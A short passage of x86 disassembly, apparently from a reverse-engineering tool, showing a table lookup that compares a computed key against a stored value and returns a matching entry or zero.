mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 8], eax
push eax
call fcn.00409640
mov ecx, dword [esp + 4]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x402bc0
push dword [esp + 0x28]
push dword [esp + 0xc]
push dword [esp + 0xc]
call fcn.00409660
mov ecx, dword [esp + 0xc]
add esp, 0xc
test eax, eax
jne 0x402bc0
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
jmp 0x402c21
xor eax, eax
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret